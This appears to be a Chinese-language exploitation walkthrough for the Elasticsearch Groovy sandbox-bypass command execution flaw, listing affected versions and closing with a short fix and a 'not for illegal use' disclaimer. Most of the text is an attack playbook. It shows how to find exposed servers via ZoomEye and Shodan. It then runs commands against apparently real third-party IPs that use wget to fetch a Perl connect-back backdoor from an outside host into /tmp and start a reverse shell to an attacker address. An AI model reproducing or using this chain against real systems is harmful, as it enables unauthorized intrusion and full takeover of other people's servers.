ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是第二最流行的企业搜索引擎。设计用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器，内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞，这次轮到Groovy了，Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令，已修复的版本是Elasticsearch 1.3.8 和 1.4.3。 这个漏洞不亚于Java Struct执行命令漏洞，对与Linux和Windows平台都适用，在实际测试中也有授权为最高权限root或者system权限的，可以获取webshell和最高系统权限。
受影响版本：
cpe:/a:elasticsearch:elasticsearch:1.4.2
cpe:/a:elasticsearch:elasticsearch:1.4.0
cpe:/a:elasticsearch:elasticsearch:1.3.7
cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1
cpe:/a:elasticsearch:elasticsearch:1.4.1
(一)可利用POC
目标地址http://www.antian365.com:9200/_search?pretty
POST提交以下数据
(二)perl可利用poc代码
将以下代码保存为ElasticSearch.py，执行python ElasticSearch.py http://www.antian365.com:9200/ " cat /etc/issue " 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。
(三)通过perl脚本利用该0day获取权限思路
需要在公网IP准备一个pl的反弹脚本，例如back.pl，可以将脚本文件伪装为jpg文件上传到网站然后下载。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。
说明：
(1)www.antian365.com为被攻击目标的IP或者域名，IP地址123.123.123.123为公网独立IP，80端口为该服务器未开放端口。
(2)有部分服务器由于未安装perl环境，因此有可能执行命令失败。
(四)实战案例
(1)搜索目标对象
通过http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”关键词，直接访问网站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行，本例选择第一个IP地址http://192.241.225.207/，同时单击IP地址右上角的一个小图框连接地址，例如打开地址http://192.241.225.207:9200/进行访问，确认该IP地址是否存活。
图1 搜索目标对象
(2)执行命令
直接执行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令，但反馈结果为“HTTP Error 500: Internal Server Error”，如图2所示。
再次使用FireFox便携版本进行测试，输入目标地址http://192.241.225.207:9200/_search?pretty，在Post data中输入
其结果显示如图3所示，表明该漏洞已经修复或者不可用。
图2执行命令
图3再次测试漏洞是否可用
通过测试多个搜索结果，找到一个还存在漏洞的IP地址，在0day出来的第一时间基本每个目标都能执行，每多一分钟就减少一个，直接执行以下代码，成功运行，无任何结果显示，表明文件下载到服务本地成功。
python ElasticSearch.py http://192.241.222.40:9200/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl"
执行以下命令，成功后会显示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell执行成功，如图4所示。
python ElasticSearch.py http:// 192.241.222.40:9200/ "/usr/bin/perl /tmp/back.pl 124.123.122.11 80"
在本地监听端口过几秒种就会反弹shell回来，执行ifconfig命令，如图5所示，确认反弹shell成功，后续操作就任由入侵者发挥了!
图4反弹shell命令成功
图5成功获取shell
(五)修复方法
建议用户更新到最新版本。当然如果不想升级版本也可以通过修改elasticseach.yml的script.groovy.sandbox.enabled 为false就行了。
注：请勿用于非法用途，仅供安全人员漏洞研究之用
